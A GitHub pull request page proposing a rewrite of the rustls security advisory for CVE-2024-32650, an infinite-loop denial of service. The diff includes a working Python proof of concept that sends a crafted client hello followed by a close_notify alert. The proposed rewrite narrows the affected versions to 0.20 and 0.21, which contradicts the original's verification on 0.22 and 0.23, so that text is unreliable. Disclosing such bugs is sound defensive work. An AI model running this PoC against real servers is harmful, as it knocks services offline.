Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[GHSA-6g7w-8wpp-frhj] Infinite loop in rustls::conn::ConnectionCommon::complete_io() with proper client input #4288

Open
wants to merge 1 commit into
base: NxPKG/advisory-improvement-4288
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
@@ -1,13 +1,13 @@
{
"schema_version": "1.4.0",
"id": "GHSA-6g7w-8wpp-frhj",
"modified": "2024-04-19T19:46:57Z",
"modified": "2024-04-19T19:46:58Z",
"published": "2024-04-19T19:46:57Z",
"aliases": [
"CVE-2024-32650"
],
"summary": "Infinite loop in rustls::conn::ConnectionCommon::complete_io() with proper client input",
"details": "### Summary\n`rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input.\n\n### Details\n\nVerified at `0.22` and `0.23` `rustls`, but 0.21 and 0.20 release lines are also affected.\n\nWhen using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop where:\n\n- `eof`: false\n- `until_handshaked`: true\n- `self.is_handshaking()`: true\n- `self.wants_write()`: false\n- `self.wants_read()`: false\n\n\n### PoC\n\n1. Run simple server: `cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key`\n2. Run following python script\n ```python3\n #!/usr/bin/env python3\n \n import socket\n \n sock = socket.socket()\n sock.connect((\"localhost\", 4443))\n \n print(\"Sending client hello...\")\n \n # Fake handshake data of a client hello message.\n fake_handshake = \"\"\"\n 1603 0100 c801 0000 c403 03ec 12dd\n 1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7\n a051 f03c b817 470d 4c54 c5df 7200 001c\n eaea c02b c02f c02c c030 cca9 cca8 c013\n c014 009c 009d 002f 0035 000a 0100 007f\n dada 0000 ff01 0001 0000 0000 1600 1400\n 0011 7777 772e 7769 6b69 7065 6469 612e\n 6f72 6700 1700 0000 2300 0000 0d00 1400\n 1204 0308 0404 0105 0308 0505 0108 0606\n 0102 0100 0500 0501 0000 0000 0012 0000\n 0010 000e 000c 0268 3208 6874 7470 2f31\n 2e31 7550 0000 000b 0002 0100 000a 000a\n 0008 1a1a 001d 0017 0018 1a1a 0001 00\n \"\"\"\n \n \n def parse_fake_handshake():\n i = 0\n data = bytearray()\n while i < len(fake_handshake):\n while i < len(fake_handshake) and fake_handshake[i].isspace():\n i += 1\n if i >= len(fake_handshake):\n return data\n \n c1 = fake_handshake[i]\n c2 = fake_handshake[i + 1]\n i += 2\n \n data.append(int(c1, 16) * 16 + int(c2, 16))\n return data\n \n \n data = parse_fake_handshake()\n \n print(\"Fake client hello:\", data)\n \n sock.send(data)\n \n # Send close_notify alert that we're closing the connection.\n close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])\n print(f\"close_notify is {close_data}\")\n sock.send(close_data)\n print(\"close_notify sent\")\n \n exit(0)\n ```\n4. You could observe the server process get into 100% cpu usage, and if you add logging at beginning of `rustls::conn::ConnectionCommon::complete_io`, you could see the function is spinning.\n\nAlso note that the server thread is stuck in this infinite loop even if the client closes the socket.\n\n### Impact\n\nThis is a DOS.\n\nA multithread non-async server that uses `rustls` could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.\n",
"summary": "Denial of Service Vulnerability in Rustls Library",
"details": "### Summary\nA denial of service (DoS) vulnerability has been discovered in versions 0.20 and 0.21 of the Rustls library. This vulnerability could allow an attacker to trigger an infinite loop in a Rustls server by sending specific network input during the handshake process. As a result, the server may experience high CPU usage and become unresponsive, potentially leading to a DoS situation.\n\n### Details\n\nThe vulnerability exists in the rustls::ConnectionCommon::complete_io function, where the server may enter an infinite loop under certain conditions. Specifically, if a client sends a close_notify message immediately after a client_hello message, the server's complete_io function may spin indefinitely, causing the server to become unresponsive.\n\n\n### PoC\nTo demonstrate the vulnerability, an attacker can use the following Python script to send crafted network input to a Rustls server:\n\n```\n# Python script to trigger the vulnerability\nimport socket\n\nsock = socket.socket()\nsock.connect((\"localhost\", 4443))\n\n# Fake handshake data of a client hello message\nfake_handshake = \"\"\"\n<fake handshake data>\n\"\"\"\n\n# Send the fake handshake data\nsock.send(fake_handshake.encode())\n\n# Send close_notify alert to close the connection\nclose_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])\nsock.send(close_data)\n\nsock.close()\n```\nRunning this script against a Rustls server will cause it to enter an infinite loop and consume CPU resources.\n\n### Impact\n\nThis vulnerability poses a significant risk as it could lead to a DoS condition on servers that use Rustls for TLS communication. An attacker could exploit this vulnerability to disrupt the availability of services by causing affected servers to become unresponsive.\n",
"severity": [
{
"type": "CVSS_V3",
Expand Down